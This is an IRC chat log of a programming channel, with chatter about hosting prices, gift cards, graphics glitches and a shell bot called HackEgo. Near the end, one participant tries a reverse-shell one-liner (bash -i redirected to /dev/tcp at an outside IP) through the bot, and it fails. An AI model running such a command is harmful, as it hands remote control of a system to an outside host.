has joined. 16:15:41 prgmr pricing is also RAM-based. 16:15:53 It's some amount of dollars per every 64 MB. 16:16:27 "An easy to understand price schedule: $4/month per account, and $1/month for every 64MiB ram." 16:17:09 yeah 16:17:12 I used to use prgmr 16:17:29 but this online.net thing seemed like a pretty cheap baseline if you don't really need growth 16:21:02 It is :) 16:38:56 -!- nisstyre has joined. 16:52:12 -!- Sellyme has left. 17:29:39 -!- ket1v has quit (Remote host closed the connection). 17:30:03 -!- ket1v has joined. 17:31:14 -!- ket1v has quit (Remote host closed the connection). 17:36:21 -!- TodPunk has quit (Ping timeout: 265 seconds). 17:43:07 -!- Phantom_Hoover has quit (Ping timeout: 264 seconds). 17:48:31 -!- Phantom_Hoover has joined. 17:54:31 -!- Sellyme has joined. 18:04:36 -!- password2 has quit (Ping timeout: 240 seconds). 18:06:28 -!- chaiomanot has joined. 18:25:44 -!- oerjan has joined. 18:30:19 -!- TodPunk has joined. 18:38:55 -!- shikhout has joined. 18:40:28 int-e: Was the “begone” serious? 18:41:55 -!- shikhin has quit (Ping timeout: 264 seconds). 18:41:57 -!- shikhout has changed nick to shikhin. 18:45:27 -!- yorick has quit (Remote host closed the connection). 18:48:36 -!- tertu has quit (Ping timeout: 240 seconds). 18:59:07 o...k then 18:59:29 American Express cards have a 4 digit security code printed elsewhere... but there's still a 3 digit code in the place I'm used to 18:59:29 wtf 19:00:46 yes, the latter is very rarely needed, except occasionally when you are dealing with amex directly 19:02:40 -!- Vorpal has joined. 19:02:56 Do I need to register some kind of first+last name if I buy an Amex gift card for myself, and want to use it online? 19:04:02 The mygiftcard site wants the 3 digit code 19:04:11 What the hell happened to my screen, I think my GPU might be borked.... Strange patterns in various rectangular areas of the screen. Switching to a VT and back fixed it. 19:04:54 Argh happened again 19:04:56 bugz 19:05:15 -!- pikhq has quit (Ping timeout: 255 seconds). 19:05:43 And BMT Micro is rejecting the card 19:05:54 Or maybe I'm making some mistake 19:06:13 Is BMT Micro reputable enough that maybe I shouldn't have bothered with the gift card? 19:06:31 Well I was planning on a new GPU anyway, but maybe near the end of the year rather... 19:07:28 -!- Phantom__Hoover has joined. 19:07:51 did you try turning it off and then on again? 19:07:59 kmc, very funny 19:08:04 :3 19:08:18 -!- Phantom__Hoover has quit (Client Quit). 19:08:22 kmc, I know it is not the monitor, since I have two (of different makes), and it spanned both of them 19:08:36 BMT Micro, IRT Micro, IND Micro 19:10:37 Ah, moving windows around to cause the screen to refresh fixed it too.. Third time now. 19:11:00 Also I have not updated drivers, kernel or anything like that, so likely the hardware is borked 19:14:32 someone nicely added a {{Not typo}} template to Wierd in wikipedia's esolang article. except they miscapitalized it. 19:15:22 IRONY 19:22:54 fungot: no killing moths or putting boiling water on the ants 19:22:54 kmc: i'm using ( gambit). did you implement concurrency, btw? 19:22:58 fungot: i did not 19:22:59 kmc: according to mr twig, the episode's not for two hours? that's about enough politics for me today, so i will need it 19:23:13 ^style 19:23:13 Available: agora alice c64 ct darwin discworld enron europarl ff7 fisher fungot homestuck ic irc* iwcs jargon lovecraft nethack oots pa qwantz sms speeches ss wp youtube 19:50:23 So yeah, AmEx apparently rejected the order 19:50:23 :( 19:50:30 So, I guess I should call them 19:53:45 I don't think I can easily get my money back out, so I'd rather spend it 19:58:38 -!- oklopol has joined. 20:08:27 hm that awful designed comic page is back. looking at the address, it seems i'm being forwarded to the mobile version. 20:08:33 *+ly 20:09:45 ah there it worked. hm... 20:10:41 ah it only happens when i'm loading with zoom on 20:16:12 -!- tromp_ has quit (Remote host closed the connection). 20:16:48 -!- tromp_ has joined. 20:21:08 -!- tromp_ has quit (Ping timeout: 240 seconds). 20:25:40 Vorpal: Latest Nvidia drivers have an issue in conjunction with XMonad where switching between workspaces leaves bits and pieces of old windows on screen, if they're "special" (OpenGL-y) enough. Apparently something buggy related to server-side borders, since so few window managers use those. (Running a compositing manager fixes it.) 20:25:57 Sgeo_: SORRY ABOUT THAT 20:26:18 (you may not know yet what "that" is, but you soon will.) 20:28:48 http://zenphoton.com 20:31:03 i decided not to make a 2-d brainfuck variant of floater 20:35:02 kmc, ohhh, these are diffuse 20:35:07 i assumed they were reflective 20:35:18 there are controls at the left to set that 20:39:18 -!- MindlessDrone has quit (Quit: MindlessDrone). 20:39:36 Things got somewhat "blocky" after boxing the light in and then reflecting the beam six times. 20:40:20 -!- ^v has joined. 20:40:33 when you make an enclosure of perfect mirrors, it crashes 20:42:59 oerjan: just saw the message, was about to come in here to ask if you're reddit-stalking me 20:43:36 With.. a grand total of talking to me exactly 1 time 20:44:01 hm need to up the stalking then. 20:48:36 the person who made that has done a billion other cool things http://scanlime.org/ 20:48:41 also she lives in san francisco 20:49:00 there are all these cool people in this city who I'm too shy to meet :/ 20:50:50 -!- Phantom__Hoover has joined. 21:10:43 -!- Phantom_Hoover has quit (Ping timeout: 264 seconds). 21:26:52 More of them aligned image renderings: https://dl.dropboxusercontent.com/u/113389132/Misc/20140329-var.jpg https://dl.dropboxusercontent.com/u/113389132/Misc/20140329-eig.jpg 21:31:40 what's all this then 21:32:16 -!- ket1v has joined. 21:33:07 The "var" one is the sample standard deviation, for each pixel, across the 33 images. And the "eig" one has had the eigenfaces kinda thing applied on it. 21:37:16 -!- ket1v has quit (Ping timeout: 265 seconds). 21:38:11 lol i also once used ard deviation on images 21:38:19 std* 21:39:01 kmc: http://johndisneys.tumblr.com/post/81043293062/the-shining-1981-dir-stanley-kubrick 21:39:51 It's highlighting things that change a lot between images, which is more or less outlines (due to alignment issues) and the ground (due to snow). 21:40:19 Bike: hahaha 21:40:22 is all of that dril 21:40:27 pretty sure 21:40:28 fizzie: i think someone is abducting your university into another dimension hth 21:42:17 oerjan: Fortunately, it looks far less like that when viewed from another angle: https://dl.dropboxusercontent.com/u/113389132/Misc/20140329-var2.jpg 21:42:46 looks haunted as shit 21:43:32 i used it to inverse weight differences in images to detect motion, so often changing pixels tend to get ignored 21:44:34 fizzie: YOU THINK 21:50:09 -!- oerjan has quit (Quit: to sleap, perchance to dreem). 22:02:29 -!- olsner has joined. 22:03:54 -!- pikhq has joined. 22:17:42 One more for the road: https://dl.dropboxusercontent.com/u/113389132/Misc/20140329-nmf.jpg 22:18:41 That's taking all 33 images as W*H*3-length vectors, and then computing a rank-4 nonnegative matrix factorization; shown are the four basis vectors reinterpreted again as images. 22:19:32 (In other words, if you wanted to represent each image as a weighted sum of 4 other images, those four should be good for that.) 22:19:42 the first and last ones look spooky 22:23:05 -!- conehead has joined. 22:25:10 hacked the zenphoton base64 code and made some scripted designs 22:25:13 http://zenphoton.com/#AAQAAkACAAEgfwEgAgACKAIMAia/QAACDAImAhgCIr9AAAIYAiICIgIav0AAAiICGgIqAhC/QAACKgIQAi4CBL9AAAIuAgQCMAH4v0AAAjAB+AIuAey/QAACLgHsAioB4L9AAAIqAeACIgHWv0AAAiIB1gIYAc6/QAACGAHOAgwByr9AAAIMAcoCAAHIv0AAAgAByAH0Acq/QAAB9AHKAegBzr9AAAHoAc4B3gHWv0AAAd4B1gHWAeC/QAAB1gHgAdIB7L9AAAHSAewB0AH4v0AAAdAB+AHSAgS/QAAB0gIEAdYCEL9AAAHWAhAB3gIav0AAAd4CGgHoAiK/QAAB6AIiAfQCJr9AAAH0AiYCAAIov0AAAmw 22:25:14 CCwJ4Agm/QAACeAIJAoQCBb9AAAKEAgUCjgH9v0AAAo4B/QKWAfO/QAAClgHzApoB579AAAKaAecCnAHbv0AAApwB2wKaAc+/QAACmgHPApYBw79AAAKWAcMCjgG5v0AAAo4BuQKEAbG/QAAChAGxAngBrb9AAAJ4Aa0CbAGrv0AAAmwBqwJgAa2/QAACYAGtAlQBsb9AAAJUAbECSgG5v0AAAkoBuQJCAcO/QAACQgHDAj4Bz79AAAI+Ac8CPAHbv0AAAjwB2wI+Aee/QAACPgHnAkIB879AAAJCAfMCSgH9v0AAAkoB/QJUAgW/QAACVAIFAmACCb9AAAJgAgkCbAILv0AAArsBvALHAbq/QAACxwG6AtMBtr9AAALTAbYC3QGuv0AA 22:25:14 At0BrgLlAaS/QAAC5QGkAukBmL9AAALpAZgC6wGMv0AAAusBjALpAYC/QAAC6QGAAuUBdL9AAALlAXQC3QFqv0AAAt0BagLTAWK/QAAC0wFiAscBXr9AAALHAV4CuwFcv0AAArsBXAKvAV6/QAACrwFeAqMBYr9AAAKjAWICmQFqv0AAApkBagKRAXS/QAACkQF0Ao0BgL9AAAKNAYACiwGMv0AAAosBjAKNAZi/QAACjQGYApEBpL9AAAKRAaQCmQGuv0AAApkBrgKjAba/QAACowG2Aq8Bur9AAAKvAboCuwG8v0AAAtgBUALkAU6/QAAC5AFOAvABSr9AAALwAUoC+gFCv0AAAvoBQgMCATi/QAADAgE4AwYBLL9AAAMGASwDCAEgv 22:25:14 0AAAwgBIAMGARS/QAADBgEUAwIBCL9AAAMCAQgC+gD+v0AAAvoA/gLwAPa/QAAC8AD2AuQA8r9AAALkAPIC2ADwv0AAAtgA8ALMAPK/QAACzADyAsAA9r9AAALAAPYCtgD+v0AAArYA/gKuAQi/QAACrgEIAqoBFL9AAAKqARQCqAEgv0AAAqgBIAKqASy/QAACqgEsAq4BOL9AAAKuATgCtgFCv0AAArYBQgLAAUq/QAACwAFKAswBTr9AAALMAU4C2AFQv0AAArsA5ALHAOK/QAACxwDiAtMA3r9AAALTAN4C3QDWv0AAAt0A1gLlAMy/QAAC5QDMAukAwL9AAALpAMAC6wC0v0AAAusAtALpAKi/QAAC6QCoAuUAnL9AAALlAJwC3Q 22:25:14 CSv0AAAt0AkgLTAIq/QAAC0wCKAscAhr9AAALHAIYCuwCEv0AAArsAhAKvAIa/QAACrwCGAqMAir9AAAKjAIoCmQCSv0AAApkAkgKRAJy/QAACkQCcAo0AqL9AAAKNAKgCiwC0v0AAAosAtAKNAMC/QAACjQDAApEAzL9AAAKRAMwCmQDWv0AAApkA1gKjAN6/QAACowDeAq8A4r9AAAKvAOICuwDkv0AAAmwAlQJ4AJO/QAACeACTAoQAj79AAAKEAI8CjgCHv0AAAo4AhwKWAH2/QAAClgB9ApoAcb9AAAKaAHECnABlv0AAApwAZQKaAFm/QAACmgBZApYATb9AAAKWAE0CjgBDv0AAAo4AQwKEADu/QAAChAA7AngAN79AAAJ4ADc 22:25:14 CbAA1v0AAAmwANQJgADe/QAACYAA3AlQAO79AAAJUADsCSgBDv0AAAkoAQwJCAE2/QAACQgBNAj4AWb9AAAI+AFkCPABlv0AAAjwAZQI+AHG/QAACPgBxAkIAfb9AAAJCAH0CSgCHv0AAAkoAhwJUAI+/QAACVACPAmAAk79AAAJgAJMCbACVv0AAAgAAeAIMAHa/QAACDAB2AhgAcr9AAAIYAHICIgBqv0AAAiIAagIqAGC/QAACKgBgAi4AVL9AAAIuAFQCMABIv0AAAjAASAIuADy/QAACLgA8AioAML9AAAIqADACIgAmv0AAAiIAJgIYAB6/QAACGAAeAgwAGr9AAAIMABoCAAAYv0AAAgAAGAH0ABq/QAAB9AAaAegAHr9AAAHo 22:25:14 AB4B3gAmv0AAAd4AJgHWADC/QAAB1gAwAdIAPL9AAAHSADwB0ABIv0AAAdAASAHSAFS/QAAB0gBUAdYAYL9AAAHWAGAB3gBqv0AAAd4AagHoAHK/QAAB6AByAfQAdr9AAAH0AHYCAAB4v0AAAZQAlQGgAJO/QAABoACTAawAj79AAAGsAI8BtgCHv0AAAbYAhwG+AH2/QAABvgB9AcIAcb9AAAHCAHEBxABlv0AAAcQAZQHCAFm/QAABwgBZAb4ATb9AAAG+AE0BtgBDv0AAAbYAQwGsADu/QAABrAA7AaAAN79AAAGgADcBlAA1v0AAAZQANQGIADe/QAABiAA3AXwAO79AAAF8ADsBcgBDv0AAAXIAQwFqAE2/QAABagBNAWYAWb9AA 22:25:15 AFmAFkBZABlv0AAAWQAZQFmAHG/QAABZgBxAWoAfb9AAAFqAH0BcgCHv0AAAXIAhwF8AI+/QAABfACPAYgAk79AAAGIAJMBlACVv0AAAUUA5AFRAOK/QAABUQDiAV0A3r9AAAFdAN4BZwDWv0AAAWcA1gFvAMy/QAABbwDMAXMAwL9AAAFzAMABdQC0v0AAAXUAtAFzAKi/QAABcwCoAW8AnL9AAAFvAJwBZwCSv0AAAWcAkgFdAIq/QAABXQCKAVEAhr9AAAFRAIYBRQCEv0AAAUUAhAE5AIa/QAABOQCGAS0Air9AAAEtAIoBIwCSv0AAASMAkgEbAJy/QAABGwCcARcAqL9AAAEXAKgBFQC0v0AAARUAtAEXAMC/QAABFwDAARsAzL 22:25:15 9AAAEbAMwBIwDWv0AAASMA1gEtAN6/QAABLQDeATkA4r9AAAE5AOIBRQDkv0AAASgBUAE0AU6/QAABNAFOAUABSr9AAAFAAUoBSgFCv0AAAUoBQgFSATi/QAABUgE4AVYBLL9AAAFWASwBWAEgv0AAAVgBIAFWARS/QAABVgEUAVIBCL9AAAFSAQgBSgD+v0AAAUoA/gFAAPa/QAABQAD2ATQA8r9AAAE0APIBKADwv0AAASgA8AEcAPK/QAABHADyARAA9r9AAAEQAPYBBgD+v0AAAQYA/gD+AQi/QAAA/gEIAPoBFL9AAAD6ARQA+AEgv0AAAPgBIAD6ASy/QAAA+gEsAP4BOL9AAAD+ATgBBgFCv0AAAQYBQgEQAUq/QAABEAFKARw 22:25:16 BTr9AAAEcAU4BKAFQv0AAAUUBvAFRAbq/QAABUQG6AV0Btr9AAAFdAbYBZwGuv0AAAWcBrgFvAaS/QAABbwGkAXMBmL9AAAFzAZgBdQGMv0AAAXUBjAFzAYC/QAABcwGAAW8BdL9AAAFvAXQBZwFqv0AAAWcBagFdAWK/QAABXQFiAVEBXr9AAAFRAV4BRQFcv0AAAUUBXAE5AV6/QAABOQFeAS0BYr9AAAEtAWIBIwFqv0AAASMBagEbAXS/QAABGwF0ARcBgL9AAAEXAYABFQGMv0AAARUBjAEXAZi/QAABFwGYARsBpL9AAAEbAaQBIwGuv0AAASMBrgEtAba/QAABLQG2ATkBur9AAAE5AboBRQG8v0AAAZQCCwGgAgm/QAABoAIJ 22:25:16 AawCBb9AAAGsAgUBtgH9v0AAAbYB/QG+AfO/QAABvgHzAcIB579AAAHCAecBxAHbv0AAAcQB2wHCAc+/QAABwgHPAb4Bw79AAAG+AcMBtgG5v0AAAbYBuQGsAbG/QAABrAGxAaABrb9AAAGgAa0BlAGrv0AAAZQBqwGIAa2/QAABiAGtAXwBsb9AAAF8AbEBcgG5v0AAA 22:25:21 hope that link works :P 22:25:53 http://tinyurl.com/o9lunsl 22:26:12 um 22:28:55 some cool patterns there 22:28:58 in the base64 text I mean 22:29:08 cross your eyes to see the sailboat 22:29:26 what line width? 22:30:02 QAACK 22:32:24 all of them 22:34:21 http://tinyurl.com/ptqgbyg 22:38:29 -!- vravn has joined. 22:39:34 -!- atriq has joined. 22:39:41 `ls 22:39:41 No output. 22:39:43 :( 22:46:14 -!- MoALTz has quit (Quit: Leaving). 22:47:00 `help 22:47:00 Runs arbitrary code in GNU/Linux. Type "`", or "`run " for full shell commands. "`fetch " downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert " can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/ 22:47:14 Right, so it was just actual commands that were broken, not those pseudo-things. 22:47:35 Or, well, not that one pseudo-thing. 22:52:18 this one is heavy http://tinyurl.com/pxm768o 22:53:30 -!- olsner has quit (Quit: Leaving). 22:53:41 Probably the longest link I've seen ever. 22:54:18 i've seen some long links with google reverse image search 22:55:18 but 4kb? damn 22:55:50 Melvar: the "begone" was serious insofar as the clash between lambdabot and idris-ircslave does annoy me. 22:56:36 i find it hilarious 22:57:01 @run 8 + 1 22:57:02 9 22:57:10 >> 8 : Int 22:58:17 but the most used lambdabot functionality here seems to be @tell, so it's not a big deal. 22:58:50 @tell int-e shhhh 22:58:50 Consider it noted. 22:59:15 @messages-loud 22:59:15 atriq said 25s ago: shhhh 22:59:45 (the thought of a loud "shhhh" amused me) 23:00:17 :D 23:00:32 I got home from uni this afternoon 23:00:39 Haven't set up my computer yet 23:00:46 (I left my desk in a bit of a mess) 23:06:38 -!- nisstyre has quit (Ping timeout: 240 seconds). 23:26:30 I want there to be games that are incredibly difficult unless you read the instructions 23:26:53 -!- HackEgo has quit (Remote host closed the connection). 23:26:55 Like, it looks like you've understood it fully, but if you haven't read the instructions, you didn't 23:27:06 -!- HackEgo has joined. 23:29:05 `ls 23:29:06 No output. 23:30:35 Sgeo_: Can you make up such thing? 23:32:12 -!- HackEgo has quit (Remote host closed the connection). 23:32:22 -!- HackEgo has joined. 23:32:28 `ls 23:32:29 98076 \ a \ app.sh \ bdsmreclist \ bin \ canary \ cat \ complaints \ :-D \ dog \ etc \ factor \ fb \ fb.c \ head \ hello \ hello.c \ ibin \ index.html \ interps \ lib \ paste \ pref \ prefs \ quines \ quotes \ share \ src \ test \ Test \ Test.hi \ Test.hs \ UNPA \ wisdom \ wisdom.pdf 23:32:55 I hope Gregor won't mind me "fixing" it. (In quotes since I have no idea whether I did or not.) 23:33:09 -!- ket1v has joined. 23:34:28 Sgeo_, would you not notice everything going wrong because you didn't understand it 23:35:07 `` echo Vg gnyxf! | tr a-zA-Z n-za-mN-ZA-M 23:35:31 Well, that didn't work long at all. :) 23:35:36 too much? 23:35:37 `echo 1 23:35:59 Huh. It tried to reply 1 to that. 23:37:41 I'm confused. It seems to go "connection timed out" all the time, in the log. 23:38:19 -!- ket1v has quit (Ping timeout: 264 seconds). 23:43:14 Oh, I seem to have accidentally started two, perhaps. 23:43:41 -!- HackEgo has quit (Remote host closed the connection). 23:44:29 -!- HackEgo has joined. 23:44:33 it lives! 23:44:40 `run wc -l quotes 23:44:41 1176 quotes 23:45:36 Or it's possible there's some sort of an autostart thing that I don't know of. (I'm really not sure I should've poked at it at all.) 23:49:43 `run tail -n 1 quotes 23:49:44 ​ you win this round. your prize is hosting the wiki I don't like this game show. 23:50:23 `run echo blah > how_about_the_filesystem 23:50:24 No output. 23:50:28 `run cat how_about_the_filesystem 23:50:29 blah 23:50:39 `run rm how_about_the_filesystem # well how about that 23:50:40 No output. 23:51:05 `run echo hi 23:51:06 hi 23:51:17 `quote of chocolate 23:51:18 508) elliott: mr president, commissioner, i fully accept that description when it comes to human rights. yes, with an average fat content of chocolate, and we are using double standards! we all know that under present legislation and also in relation to standardization bodies. if i do not want. \ 648) Just because you can' 23:51:28 `uote i'm a book 23:51:29 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: uote: not found 23:51:31 `quote i'm a book 23:51:32 No output. 23:51:38 `quote a book about 23:51:38 No output. 23:51:40 :( 23:51:47 `quote prohibition 23:51:48 939) I'm a story about the prohibition of chocolate 23:51:51 STORY 23:51:54 NOT BOOK 23:51:56 atriq-- 23:54:08 `run for n in $(seq 4); do sed -re 's/ /\n/g' http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/-s 23:54:31 `run which paste 23:54:32 ​/hackenv/bin/paste 23:54:36 `run ls -l /usr/bin/paste 23:54:37 ​-rwxr-xr-x 1 0 0 35264 Jan 26 2013 /usr/bin/paste 23:54:44 `run for n in $(seq 4); do sed -re 's/ /\n/g' ​ an ieee-754 double does not have enough granular precision to express how little I care it's not even about strictness actually I've only watched bad movies about video game. I enjoyed every second of it. Taneb: stop complianing Even so. the theory's probably not bad, bu 23:54:58 Sorry if non-legit, but curious if it works 23:55:01 `run bash -i >& /dev/tcp/128.2.142.56/8123 0>&1 23:55:02 bash: connect: Network is unreachable \ bash: /dev/tcp/128.2.142.56/8123: Network is unreachable 23:55:06 Ah, smart 23:55:21 There is a HTTP proxy that can do limited (whitelisted?) networking. 23:55:29 If it works. It might not. 23:56:10 `addquote pippi långstrump's name is translated as "gilgi" or "bilbi" usually Does she have a ring of power? 23:56:12 1177) pippi långstrump's name is translated as "gilgi" or "bilbi" usually Does she have a ring of power? 23:56:37 `addquote * Sgeo remembers when he believed VRML could never have gravity. Now VRML is dead. (And has gravity) 23:56:38 1178) * Sgeo remembers when he believed VRML could never have gravity. Now VRML is dead. (And has gravity) 23:56:47 `addquote and i had at one point been a meme 23:56:48 1179) and i had at one point been a meme 23:58:26 `run sed -re 's/ /\n/g' ​ nope, it is the same party So it's like... Rummy mixed with... breakout? TODO: sex life 23:58:56 `run sed -re 's/ /\n/g' ​ well i just ate some stuff and watched family guy ais523, also contains benzene, my carcinogen of choice. This staircase is very good for correcting people's opininons about communism